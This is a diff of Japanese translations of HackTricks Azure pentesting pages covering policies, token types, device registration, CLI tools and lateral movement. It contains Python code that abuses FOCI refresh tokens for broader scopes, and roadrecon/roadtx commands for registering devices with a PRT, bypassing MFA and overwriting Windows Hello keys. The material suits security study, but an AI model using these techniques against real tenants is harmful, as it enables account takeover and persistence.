Policiesは**プロアクティブ**です:非準拠のリソースが作成または変更されるのを防ぐことができます。また、**リアクティブ**でもあり、既存の非準拠リソースを見つけて修正することができます。 @@ -326,9 +326,9 @@ Azure Policiesは**プロアクティブ**です:非準拠のリソースが 1. **特定のAzure地域でのコンプライアンスの確保**: このポリシーは、すべてのリソースが特定のAzure地域にデプロイされることを保証します。たとえば、企業はGDPRコンプライアンスのためにすべてのデータがヨーロッパに保存されることを望むかもしれません。 2. **命名基準の強制**: ポリシーはAzureリソースの命名規則を強制できます。これにより、大規模な環境でリソースを整理し、名前に基づいて簡単に識別するのに役立ちます。 3. **特定のリソースタイプの制限**: このポリシーは、特定のタイプのリソースの作成を制限できます。たとえば、コストを制御するために、特定のVMサイズのような高価なリソースタイプの作成を防ぐポリシーを設定できます。 -4. **タグ付けポリシーの強制**: タグは、リソース管理に使用されるAzureリソースに関連付けられたキーと値のペアです。ポリシーは、すべてのリソースに特定のタグが存在するか、特定の値を持つ必要があることを強制できます。これは、コスト追跡、所有権、またはリソースの分類に役立ちます。 +4. **タグ付けポリシーの強制**: タグは、リソース管理に使用されるAzureリソースに関連付けられたキーと値のペアです。ポリシーは、すべてのリソースに特定のタグが存在する必要があるか、特定の値を持つ必要があることを強制できます。これは、コスト追跡、所有権、またはリソースの分類に役立ちます。 5. **リソースへの公共アクセスの制限**: ポリシーは、ストレージアカウントやデータベースのような特定のリソースに公共エンドポイントがないことを強制し、組織のネットワーク内でのみアクセスできるようにします。 -6. **セキュリティ設定の自動適用**: ポリシーは、すべてのVMに特定のネットワークセキュリティグループを適用したり、すべてのストレージアカウントが暗号化を使用することを保証したりするなど、リソースにセキュリティ設定を自動的に適用するために使用できます。 +6. **セキュリティ設定の自動適用**: ポリシーは、すべてのVMに特定のネットワークセキュリティグループを適用したり、すべてのストレージアカウントが暗号化を使用することを保証したりするために、リソースに自動的にセキュリティ設定を適用するために使用できます。 Azure PoliciesはAzure階層の任意のレベルに添付できますが、**一般的にはルート管理グループ**または他の管理グループで使用されます。 @@ -352,7 +352,7 @@ Azure policy json example: ``` ### 権限の継承 -Azure **権限は階層の任意の部分に割り当てることができます**。これには管理グループ、サブスクリプション、リソースグループ、および個々のリソースが含まれます。権限は、割り当てられたエンティティの含まれる**リソース**によって**継承**されます。 +Azureでは**権限は階層の任意の部分に割り当てることができます**。これには管理グループ、サブスクリプション、リソースグループ、および個々のリソースが含まれます。権限は、割り当てられたエンティティの**リソース**によって**継承**されます。 この階層構造は、アクセス権限の効率的かつスケーラブルな管理を可能にします。 @@ -360,11 +360,11 @@ Azure **権限は階層の任意の部分に割り当てることができます ### Azure RBAC と ABAC -**RBAC**(ロールベースのアクセス制御)は、前のセクションで見たものです:**リソースへのアクセスを付与するために、プリンシパルにロールを割り当てる**。\ -しかし、場合によっては、**より細かいアクセス管理**を提供したり、**数百の**ロール**割り当て**の管理を**簡素化**したいことがあります。 +**RBAC**(ロールベースのアクセス制御)は、前のセクションで見たものです:**リソースに対するアクセスを付与するために、プリンシパルにロールを割り当てる**ことです。\ +しかし、場合によっては**より細かいアクセス管理**を提供したり、**数百の**ロール**割り当て**の管理を**簡素化**したいことがあります。 -Azure **ABAC**(属性ベースのアクセス制御)は、特定のアクションの文脈における**属性に基づくロール割り当て条件**を追加することでAzure RBACを拡張します。_ロール割り当て条件_は、**より細かいアクセス制御を提供するためにオプションでロール割り当てに追加できる追加のチェック**です。条件は、ロール定義およびロール割り当ての一部として付与される権限を絞り込みます。たとえば、**オブジェクトを読み取るために特定のタグを持つ必要がある条件を追加できます**。\ -条件を使用して特定のリソースへの**アクセスを明示的に拒否することはできません**。 +Azure **ABAC**(属性ベースのアクセス制御)は、特定のアクションの文脈における**属性に基づくロール割り当て条件**を追加することでAzure RBACを拡張します。_ロール割り当て条件_は、**より細かいアクセス制御を提供するためにオプションでロール割り当てに追加できる追加のチェック**です。条件は、ロール定義およびロール割り当ての一部として付与される権限をフィルタリングします。たとえば、**オブジェクトを読み取るために特定のタグを持つ必要がある条件を追加できます**。\ +特定のリソースに対して**条件を使用して**明示的に**アクセスを拒否することは**できません。 ## 参考文献 diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md index f44f93c5c..1f0dbc984 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md @@ -1,4 +1,4 @@ -# Az - Tokens & Public Applications +# Az - トークンとパブリックアプリケーション {{#include ../../../banners/hacktricks-training.md}} @@ -13,53 +13,53 @@ Entra IDは、Microsoftのクラウドベースのアイデンティティおよ 1. **リソースサーバー(RS):** リソースオーナーが所有するリソースを保護します。 2. **リソースオーナー(RO):** 通常、保護されたリソースを所有するエンドユーザーです。 3. **クライアントアプリケーション(CA):** リソースオーナーの代理としてリソースへのアクセスを求めるアプリケーションです。 -4. **認可サーバー(AS):** クライアントアプリケーションを認証および認可した後、アクセス トークンを発行します。 +4. **認可サーバー(AS):** 認証および認可後にクライアントアプリケーションにアクセストークンを発行します。 **スコープと同意:** - **スコープ:** アクセスレベルを指定するリソースサーバー上で定義された詳細な権限です。 -- **同意:** リソースオーナーが特定のスコープでリソースにアクセスするためのクライアントアプリケーションに権限を付与するプロセスです。 +- **同意:** リソースオーナーが特定のスコープでリソースにアクセスするためのクライアントアプリケーションへの権限を付与するプロセスです。 **Microsoft 365統合:** - Microsoft 365はIAMのためにAzure ADを利用し、複数の「ファーストパーティ」OAuthアプリケーションで構成されています。 -- これらのアプリケーションは深く統合されており、相互依存するサービス関係を持つことがよくあります。 +- これらのアプリケーションは深く統合されており、相互依存するサービス関係を持っています。 - ユーザーエクスペリエンスを簡素化し、機能を維持するために、Microsoftはこれらのファーストパーティアプリケーションに「暗黙の同意」または「事前同意」を付与します。 -- **暗黙の同意:** 特定のアプリケーションは、明示的なユーザーまたは管理者の承認なしに特定のスコープへのアクセスを自動的に**付与されます**。 -- これらの事前同意されたスコープは通常、ユーザーや管理者から隠されており、標準の管理インターフェースではあまり目立ちません。 +- **暗黙の同意:** 特定のアプリケーションは、明示的なユーザーまたは管理者の承認なしに特定のスコープへのアクセスを**自動的に付与されます**。 +- これらの事前同意されたスコープは通常、ユーザーや管理者から隠されており、標準的な管理インターフェースではあまり目立ちません。 **クライアントアプリケーションの種類:** 1. **機密クライアント:** - 自身の資格情報(例:パスワードや証明書)を持っています。 - 認可サーバーに**安全に自己認証**できます。 -2. **公開クライアント:** +2. **パブリッククライアント:** - ユニークな資格情報を持っていません。 - 認可サーバーに安全に認証できません。 -- **セキュリティの影響:** 攻撃者は、認可サーバーがアプリケーションの正当性を確認するメカニズムがないため、トークンを要求する際に公開クライアントアプリケーションを偽装できます。 +- **セキュリティの影響:** 攻撃者は、認可サーバーがアプリケーションの正当性を確認するメカニズムがないため、トークンを要求する際にパブリッククライアントアプリケーションを偽装できます。 ## 認証トークン OIDCで使用される**3種類のトークン**があります: -- [**アクセス トークン**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** クライアントはこのトークンをリソースサーバーに提示して**リソースにアクセス**します。これは特定のユーザー、クライアント、およびリソースの組み合わせにのみ使用でき、**期限切れまで取り消すことはできません** - デフォルトでは1時間です。 -- **IDトークン**: クライアントはこの**トークンを認可サーバーから受け取ります**。ユーザーに関する基本情報が含まれています。これは**特定のユーザーとクライアントの組み合わせにバインドされています**。 -- **リフレッシュトークン**: アクセストークンと共にクライアントに提供されます。**新しいアクセスおよびIDトークンを取得するために使用されます**。これは特定のユーザーとクライアントの組み合わせにバインドされており、取り消すことができます。非アクティブなリフレッシュトークンのデフォルトの有効期限は**90日**で、アクティブなトークンには**有効期限がありません**(リフレッシュトークンから新しいリフレッシュトークンを取得することが可能です)。 -- リフレッシュトークンは**`aud`**、いくつかの**スコープ**、および**テナント**に結び付けられており、そのaud、スコープ(それ以上ではなく)およびテナントのためにのみアクセス トークンを生成できる必要があります。ただし、これは**FOCIアプリケーショントークン**には当てはまりません。 +- [**アクセストークン**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** クライアントはこのトークンをリソースサーバーに提示して**リソースにアクセス**します。これは特定のユーザー、クライアント、およびリソースの組み合わせにのみ使用でき、**期限切れまで取り消すことはできません** - デフォルトでは1時間です。 +- **IDトークン:** クライアントはこの**トークンを認可サーバーから受け取ります**。ユーザーに関する基本情報が含まれています。これは**特定のユーザーとクライアントの組み合わせに結びついています**。 +- **リフレッシュトークン:** アクセストークンと共にクライアントに提供されます。**新しいアクセストークンとIDトークンを取得するために使用されます**。これは特定のユーザーとクライアントの組み合わせに結びついており、取り消すことができます。非アクティブなリフレッシュトークンのデフォルトの有効期限は**90日**で、アクティブなトークンには**有効期限がありません**(リフレッシュトークンから新しいリフレッシュトークンを取得することが可能です)。 +- リフレッシュトークンは**`aud`**、いくつかの**スコープ**、および**テナント**に結びついており、そのaud、スコープ(それ以上ではなく)およびテナントのためにのみアクセストークンを生成できるべきです。しかし、これは**FOCIアプリケーショントークン**には当てはまりません。 - リフレッシュトークンは暗号化されており、Microsoftのみがそれを復号化できます。 - 新しいリフレッシュトークンを取得しても、以前のリフレッシュトークンは取り消されません。 > [!WARNING] -> **条件付きアクセス**に関する情報は**JWT**内に**保存**されています。したがって、**許可されたIPアドレス**から**トークンを要求**すると、その**IP**がトークンに**保存**され、その後**許可されていないIPからリソースにアクセスするためにそのトークンを使用**できます。 +> **条件付きアクセス**に関する情報は**JWT**内に**保存**されています。したがって、**許可されたIPアドレス**から**トークンを要求**すると、その**IP**はトークンに**保存**され、その後**許可されていないIPからリソースにアクセスするためにそのトークンを使用できます**。 ### アクセストークン "aud" "aud"フィールドに示されたフィールドは、ログインを実行するために使用される**リソースサーバー**(アプリケーション)です。 -コマンド`az account get-access-token --resource-type [...]`は、以下のタイプをサポートしており、それぞれが結果のアクセス トークンに特定の"aud"を追加します: +コマンド`az account get-access-token --resource-type [...]`は、以下のタイプをサポートしており、それぞれが結果のアクセストークンに特定の"aud"を追加します: > [!CAUTION] -> 以下は`az account get-access-token`でサポートされているAPIに過ぎないことに注意してくださいが、他にもあります。 +> 以下は`az account get-access-token`でサポートされているAPIに過ぎませんが、他にもあります。
@@ -71,16 +71,16 @@ OIDCで使用される**3種類のトークン**があります: * **arm (Azure Resource Manager)**: Azure Resource Manager APIを通じてAzureリソースを管理するために使用されます。これには、仮想マシン、ストレージアカウントなどのリソースの作成、更新、削除などの操作が含まれます。 - `https://management.core.windows.net/ or https://management.azure.com/` -- **batch (Azure Batch Services)**: 大規模な並列および高性能コンピューティングアプリケーションをクラウドで効率的に実行するためのサービスであるAzure Batchにアクセスするために使用されます。 +- **batch (Azure Batch Services)**: Azure Batchにアクセスするために使用され、クラウド内で大規模な並列および高性能コンピューティングアプリケーションを効率的に実行します。 - `https://batch.core.windows.net/` -* **data-lake (Azure Data Lake Storage)**: スケーラブルなデータストレージおよび分析サービスであるAzure Data Lake Storage Gen1と対話するために使用されます。 +* **data-lake (Azure Data Lake Storage)**: Azure Data Lake Storage Gen1と対話するために使用される、スケーラブルなデータストレージおよび分析サービスです。 - `https://datalake.azure.net/` - **media (Azure Media Services)**: ビデオおよびオーディオコンテンツのためのクラウドベースのメディア処理および配信サービスを提供するAzure Media Servicesにアクセスするために使用されます。 - `https://rest.media.azure.net` -* **ms-graph (Microsoft Graph API)**: Microsoft 365サービスデータのための統一エンドポイントであるMicrosoft Graph APIにアクセスするために使用されます。Azure AD、Office 365、Enterprise Mobility、Securityサービスなどのサービスからデータとインサイトにアクセスすることを可能にします。 +* **ms-graph (Microsoft Graph API)**: Microsoft 365サービスデータのための統一エンドポイントであるMicrosoft Graph APIにアクセスするために使用されます。Azure AD、Office 365、Enterprise Mobility、Securityサービスなどのサービスからデータとインサイトにアクセスできます。 - `https://graph.microsoft.com` - **oss-rdbms (Azure Open Source Relational Databases)**: MySQL、PostgreSQL、MariaDBなどのオープンソースリレーショナルデータベースエンジンのためのAzure Databaseサービスにアクセスするために使用されます。 @@ -90,11 +90,11 @@ OIDCで使用される**3種類のトークン**があります: ### アクセストークンのスコープ "scp" -アクセス トークンのスコープは、アクセス トークンJWT内のscpキーに保存されています。これらのスコープは、アクセス トークンがアクセスできるものを定義します。 +アクセストークンのスコープは、アクセストークンJWT内のscpキーに保存されています。これらのスコープは、アクセストークンがアクセスできるものを定義します。 JWTが特定のAPIに連絡することが許可されているが、**要求されたアクションを実行するためのスコープを持っていない場合**、そのJWTでアクションを**実行できません**。 -### リフレッシュおよびアクセス トークンの取得例 +### リフレッシュトークンとアクセストークンの取得例 ```python # Code example from https://github.com/secureworks/family-of-client-ids-research import msal @@ -121,7 +121,6 @@ device_flow pprint(azure_cli_bearer_tokens_for_graph_api) - # DECODE JWT def decode_jwt(base64_blob: str) -> Dict[str, Any]: """Decodes base64 encoded JWT blob""" @@ -147,17 +146,17 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api) ``` ## FOCIトークンの特権昇格 -以前に述べたように、リフレッシュトークンは生成された**スコープ**、**アプリケーション**、および**テナント**に結び付けられるべきです。これらの境界のいずれかが破られると、ユーザーがアクセスできる他のリソースやテナントに対して、元々意図されたよりも多くのスコープでアクセストークンを生成することが可能になるため、特権を昇格させることができます。 +以前に述べたように、リフレッシュトークンは生成された**スコープ**、**アプリケーション**、および**テナント**に関連付けられるべきです。これらの境界のいずれかが破られると、ユーザーがアクセスできる他のリソースやテナントに対して、元々意図されたよりも多くのスコープでアクセストークンを生成することが可能になるため、特権を昇格させることができます。 -さらに、[Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/)(Microsoft Entraアカウント、Microsoft個人アカウント、FacebookやGoogleなどのソーシャルアカウント)では、**すべてのリフレッシュトークンでこれが可能です**。なぜなら、[**ドキュメント**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens)には次のように記載されているからです。「リフレッシュトークンはユーザーとクライアントの組み合わせに結び付けられていますが、**リソースやテナントには結び付けられていません**。クライアントは、許可されている任意のリソースとテナントの組み合わせに対してアクセストークンを取得するためにリフレッシュトークンを使用できます。リフレッシュトークンは暗号化されており、Microsoft identity platformのみがそれを読み取ることができます。」 +さらに、これは[Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/)(Microsoft Entraアカウント、Microsoft個人アカウント、FacebookやGoogleなどのソーシャルアカウント)において**すべてのリフレッシュトークンで可能です**。なぜなら、[**ドキュメント**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens)には次のように記載されているからです。「リフレッシュトークンはユーザーとクライアントの組み合わせにバインドされていますが、**リソースやテナントに結びついていません**。クライアントは、許可されている任意のリソースとテナントの組み合わせに対してアクセストークンを取得するためにリフレッシュトークンを使用できます。リフレッシュトークンは暗号化されており、Microsoft identity platformのみがそれを読み取ることができます。」 -さらに、FOCIアプリケーションは公開アプリケーションであるため、**サーバーに認証するための秘密は必要ありません**。 +さらに、FOCIアプリケーションは公開アプリケーションであるため、サーバーに認証するために**秘密は必要ありません**。 次に、[**元の研究**](https://github.com/secureworks/family-of-client-ids-research/tree/main)で報告された既知のFOCIクライアントは、[**こちら**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv)で見つけることができます。 ### 異なるスコープを取得 -前の例のコードに続いて、このコードでは異なるスコープの新しいトークンを要求しています: +前の例のコードに従い、このコードでは異なるスコープの新しいトークンを要求しています: ```python # Code from https://github.com/secureworks/family-of-client-ids-research azure_cli_bearer_tokens_for_outlook_api = ( diff --git a/src/pentesting-cloud/azure-security/az-device-registration.md b/src/pentesting-cloud/azure-security/az-device-registration.md index 44b2f2a63..09a60190c 100644 --- a/src/pentesting-cloud/azure-security/az-device-registration.md +++ b/src/pentesting-cloud/azure-security/az-device-registration.md @@ -1,4 +1,4 @@ -# Az - Device Registration +# Az - デバイス登録 {{#include ../../banners/hacktricks-training.md}} @@ -10,11 +10,11 @@ その後、デバイス内に2つのRSAキーペアが生成されます:**デバイスキー**(**公開**キー)は**AzureAD**に送信され、**トランスポート**キー(**秘密**キー)は可能であればTPMに保存されます。 -次に、**オブジェクト**が**AzureAD**(Intuneではなく)に生成され、AzureADはデバイスに署名された**証明書**を返します。**デバイスがAzureADに参加している**ことや**証明書**に関する情報(TPMで保護されているかどうかなど)を確認できます。 +次に、**オブジェクト**が**AzureAD**(Intuneではなく)に生成され、AzureADはデバイスに署名された**証明書**を返します。**デバイスがAzureADに参加している**かどうかや、**証明書**に関する情報(TPMで保護されているかどうかなど)を確認できます。 ```bash dsregcmd /status ``` -デバイス登録後、**プライマリリフレッシュトークン**がLSASS CloudAPモジュールによって要求され、デバイスに渡されます。PRTには、**デバイスのみが復号化できるように暗号化されたセッションキー**(トランスポートキーの公開鍵を使用)も提供され、**PRTを使用するために必要です。** +デバイス登録後、**Primary Refresh Token**がLSASS CloudAPモジュールによって要求され、デバイスに渡されます。PRTには、**デバイスのみが復号化できるように暗号化されたセッションキー**(トランスポートキーの公開鍵を使用)も付随しており、**PRTを使用するために必要です。** PRTについての詳細は以下を確認してください: @@ -22,10 +22,10 @@ PRTについての詳細は以下を確認してください: az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md {{#endref}} -### TPM - トラステッドプラットフォームモジュール +### TPM - Trusted Platform Module **TPM**は、電源がオフのデバイスからのキー**抽出**(PINで保護されている場合)や、OS層からのプライベートマテリアルの抽出に対して**保護**します。\ -しかし、**TPMとCPUの間の物理接続をスニッフィングすること**や、システムが実行中のプロセスが**SYSTEM**権限を持っている場合にTPM内の**暗号材料を使用すること**に対しては**保護**されていません。 +しかし、**TPMとCPUの間の物理接続を**スニッフィングすることや、**SYSTEM**権限を持つプロセスからシステムが稼働中のTPM内の暗号材料を**使用すること**に対しては**保護しません**。 以下のページを確認すると、**PRTを盗むこと**が**ユーザー**としてアクセスするために使用できることがわかります。これは素晴らしいことで、**PRTはデバイスに存在する**ため、それらから盗まれる可能性があります(または盗まれなくても新しい署名キーを生成するために悪用される可能性があります): @@ -35,7 +35,7 @@ az-lateral-movement-cloud-on-prem/pass-the-prt.md ## SSOトークンを使用したデバイスの登録 -攻撃者が侵害されたデバイスからMicrosoftデバイス登録サービスのトークンを要求し、登録することが可能です: +攻撃者が侵害されたデバイスからMicrosoftデバイス登録サービスのトークンを要求し、登録することが可能です。 ```bash # Initialize SSO flow roadrecon auth prt-init @@ -47,17 +47,17 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie # Custom pyhton script to register a device (check roadtx) registerdevice.py ``` -どのようにして**将来PRTを要求するために使用できる証明書を取得するか**。したがって、持続性を維持し、**MFAをバイパスする**ことができます。なぜなら、新しいデバイスを登録するために使用された元のPRTトークンは**すでにMFA権限が付与されていた**からです。 +どのようにして**将来PRTを要求するために使用できる証明書を取得するか**。したがって、持続性を維持し、**MFAをバイパスする**ことができます。なぜなら、新しいデバイスを登録するために使用された元のPRTトークンは**すでにMFA権限が付与されていたからです**。 > [!TIP] -> この攻撃を実行するには、**新しいデバイスを登録する**権限が必要です。また、デバイスを登録することは、そのデバイスが**Intuneに登録されることが許可される**ことを意味しません。 +> この攻撃を実行するには、**新しいデバイスを登録する**権限が必要です。また、デバイスを登録することは、そのデバイスが**Intuneに登録されることを許可される**ことを意味しません。 > [!CAUTION] > この攻撃は2021年9月に修正され、もはやSSOトークンを使用して新しいデバイスを登録することはできません。しかし、正当な方法でデバイスを登録することはまだ可能です(必要に応じてユーザー名、パスワード、MFAを持っていること)。確認してください: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md)。 ## デバイスタイプの上書き -**デバイスタイプを要求する**ことが可能で、デバイスの現在のものを**上書き**し、フロー中に**PRTを盗む**ことができました(TPMから盗む必要はありません)。詳細については[**このトークを確認してください**](https://youtu.be/BduCn8cLV1A)。 +**デバイスタイプを要求し、**現在のデバイスタイプを**上書き**し、フロー中に**PRTを盗む**ことが可能でした(TPMから盗む必要はありません)。詳細については、[**このトークを確認してください**](https://youtu.be/BduCn8cLV1A)。
@@ -68,17 +68,17 @@ registerdevice.py [**元のスライドをこちらで確認してください**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf) -攻撃の概要: +攻撃の概要: - **SSOを介して**デバイスの**登録されたWHFB**キーを**上書き**することが可能です -- 新しいキーの生成中に**キーがスニッフィングされるため**TPM保護を**打破します** +- 新しいキーの生成中に**キーがスニッフィングされるため、TPM保護を**打破します - これにより**持続性**も提供されます
ユーザーはAzure AD Graphを介して自分のsearchableDeviceKeyプロパティを変更できますが、攻撃者はテナント内にデバイスを持っている必要があります(その場で登録されたか、正当なデバイスから証明書とキーを盗んだ場合)およびAAD Graphの有効なアクセストークンが必要です。 -次に、次のように新しいキーを生成することが可能です: +次に、新しいキーを生成することが可能です: ```bash roadtx genhellokey -d -k tempkey.key ``` @@ -86,7 +86,7 @@ roadtx genhellokey -d -k tempkey.key
-**デバイスコードフィッシング**を通じてユーザーからアクセストークンを取得し、前のステップを悪用して**彼のアクセスを盗む**ことが可能です。詳細については、以下を確認してください: +**デバイスコードフィッシング**を介してユーザーからアクセストークンを取得し、前のステップを悪用して**彼のアクセスを盗む**ことが可能です。詳細については、以下を確認してください: {{#ref}} az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index 92ffc7845..75dce59e2 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -34,7 +34,7 @@ ```bash /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" ``` -2. 最新の安定版PowerShellをインストールします: +2. PowerShellの最新の安定版をインストールします: ```sh brew install powershell/tap/powershell ``` @@ -51,11 +51,11 @@ brew upgrade powershell ### az cli -[**Azure コマンドラインインターフェース (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) は、Azure および Entra ID リソースの管理と運用のために Python で書かれたクロスプラットフォームツールです。Azure に接続し、コマンドラインまたはスクリプトを介して管理コマンドを実行します。 +[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) は、AzureおよびEntra IDリソースの管理と運用のためにPythonで書かれたクロスプラットフォームツールです。Azureに接続し、コマンドラインまたはスクリプトを介して管理コマンドを実行します。 -[**インストール手順はこちら!**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install) をご覧ください。 +[**インストール手順はこちら!**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install)を参照してください。 -Azure CLI のコマンドは、次のパターンで構成されています: `az ` +Azure CLIのコマンドは、次のパターンで構成されています: `az ` #### デバッグ | MitM az cli @@ -63,7 +63,7 @@ Azure CLI のコマンドは、次のパターンで構成されています: `a ```bash az account management-group list --output table --debug ``` -MitM攻撃をツールに対して行い、手動で送信される**すべてのリクエスト**を確認するには、次のようにします: +**MitM**をツールに対して行い、手動で送信している**すべてのリクエスト**を確認するには、次のようにします: {{#tabs }} {{#tab name="Bash" }} @@ -95,7 +95,7 @@ $env:HTTP_PROXY="http://127.0.0.1:8080" Azure PowerShellは、PowerShellコマンドラインから直接Azureリソースを管理するためのcmdletを含むモジュールです。 -[**インストール手順**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell)のリンクを参照してください。 +[**インストール手順**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell)については、このリンクを参照してください。 Azure PowerShell AZモジュールのコマンドは、次のように構成されています:`-Az ` @@ -105,15 +105,15 @@ Azure PowerShell AZモジュールのコマンドは、次のように構成さ ```bash Get-AzResourceGroup -Debug ``` -MitMをツールに対して行い、手動で送信している**すべてのリクエスト**を確認するには、[**ドキュメント**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy)に従って環境変数`HTTPS_PROXY`と`HTTP_PROXY`を設定できます。 +**MitM**攻撃をツールに対して行い、手動で送信される**すべてのリクエスト**を確認するには、環境変数`HTTPS_PROXY`と`HTTP_PROXY`を[**ドキュメント**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy)に従って設定できます。 ### Microsoft Graph PowerShell -Microsoft Graph PowerShellは、単一のエンドポイントを使用してSharePoint、Exchange、Outlookなどのサービスを含むすべてのMicrosoft Graph APIへのアクセスを可能にするクロスプラットフォームSDKです。PowerShell 7+、MSALによるモダン認証、外部ID、および高度なクエリをサポートしています。最小特権アクセスに重点を置き、安全な操作を保証し、最新のMicrosoft Graph API機能に合わせて定期的に更新を受けます。 +Microsoft Graph PowerShellは、単一のエンドポイントを使用してSharePoint、Exchange、Outlookなどのサービスを含むすべてのMicrosoft Graph APIへのアクセスを可能にするクロスプラットフォームSDKです。PowerShell 7+、MSALによるモダン認証、外部アイデンティティ、および高度なクエリをサポートしています。最小特権アクセスに重点を置き、安全な操作を保証し、最新のMicrosoft Graph API機能に合わせて定期的に更新を受けます。 [**インストール手順**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation)については、このリンクを参照してください。 -Microsoft Graph PowerShellのコマンドは、次のように構成されています:`-Mg ` +Microsoft Graph PowerShellのコマンドは次のように構成されています:`-Mg ` #### Microsoft Graph PowerShellのデバッグ @@ -123,9 +123,9 @@ Get-MgUser -Debug ``` ### ~~**AzureAD Powershell**~~ -Azure Active Directory (AD) モジュールは、現在 **非推奨** であり、Azure AD リソースを管理するための Azure PowerShell の一部です。ユーザー、グループ、および Entra ID でのアプリケーション登録を管理するための cmdlet を提供します。 +Azure Active Directory (AD) モジュールは、現在 **非推奨** であり、Azure AD リソースを管理するための Azure PowerShell の一部です。これは、Entra ID でのユーザー、グループ、およびアプリケーション登録の管理などのタスクのための cmdlet を提供します。 > [!TIP] -> これは Microsoft Graph PowerShell に置き換えられました +> これは Microsoft Graph PowerShell に置き換えられます -[**インストール手順**](https://www.powershellgallery.com/packages/AzureAD) のリンクを参照してください。 +Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD). diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md index 4d51e5cc0..103f0c38d 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md @@ -8,11 +8,11 @@ マシンがクラウドに接続される方法はいくつかあります: -#### Azure AD に参加 +#### Azure AD 参加
-#### Workplace に参加 +#### Workplace 参加

https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large

@@ -28,9 +28,9 @@ Azure AD には、特定の制限を持つさまざまなタイプのトークンがあります: -- **アクセストークン**:Microsoft Graph のような API やリソースにアクセスするために使用されます。特定のクライアントとリソースに結びついています。 -- **リフレッシュトークン**:新しいアクセストークンを取得するためにアプリケーションに発行されます。発行されたアプリケーションまたはアプリケーションのグループによってのみ使用できます。 -- **プライマリリフレッシュトークン (PRT)**:Azure AD に参加した、登録された、またはハイブリッド参加したデバイスでのシングルサインオンに使用されます。ブラウザのサインインフローや、デバイス上のモバイルおよびデスクトップアプリケーションへのサインインに使用できます。 +- **アクセストークン**:APIやMicrosoft Graphなどのリソースにアクセスするために使用されます。特定のクライアントとリソースに結びついています。 +- **リフレッシュトークン**:新しいアクセストークンを取得するためにアプリケーションに発行されます。発行されたアプリケーションまたはアプリケーションのグループでのみ使用できます。 +- **プライマリリフレッシュトークン (PRT)**:Azure AD 参加、登録、またはハイブリッド参加デバイスでのシングルサインオンに使用されます。ブラウザのサインインフローやデバイス上のモバイルおよびデスクトップアプリケーションへのサインインに使用できます。 - **Windows Hello for Business キー (WHFB)**:パスワードなしの認証に使用されます。プライマリリフレッシュトークンを取得するために使用されます。 最も興味深いタイプのトークンはプライマリリフレッシュトークン (PRT) です。 @@ -43,20 +43,20 @@ az-primary-refresh-token-prt.md **侵害されたマシンからクラウドへ**: -- [**Pass the Cookie**](az-pass-the-cookie.md):ブラウザから Azure クッキーを盗み、それを使用してログイン -- [**Dump processes access tokens**](az-processes-memory-access-token.md):クラウドと同期されたローカルプロセスのメモリをダンプし(Excel、Teams など)、クリアテキストのアクセストークンを見つける。 -- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** PRT をフィッシングして悪用する -- [**Pass the PRT**](pass-the-prt.md):デバイスの PRT を盗んで Azure にアクセスする -- [**Pass the Certificate**](az-pass-the-certificate.md)**:** PRT に基づいて証明書を生成し、1 台のマシンから別のマシンにログインする +- [**Pass the Cookie**](az-pass-the-cookie.md):ブラウザからAzureクッキーを盗み、それを使用してログイン +- [**Dump processes access tokens**](az-processes-memory-access-token.md):クラウドと同期されたローカルプロセスのメモリをダンプし(Excel、Teamsなど)、クリアテキストのアクセストークンを見つける。 +- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** PRTをフィッシングして悪用する +- [**Pass the PRT**](pass-the-prt.md):デバイスのPRTを盗んでAzureにアクセスする +- [**Pass the Certificate**](az-pass-the-certificate.md)**:** PRTに基づいて証明書を生成し、1台のマシンから別のマシンにログインする -**AD からクラウドへの侵害、クラウドから AD への侵害**: +**ADからクラウドへの侵害、クラウドからADへの侵害**: - [**Azure AD Connect**](azure-ad-connect-hybrid-identity/) -- 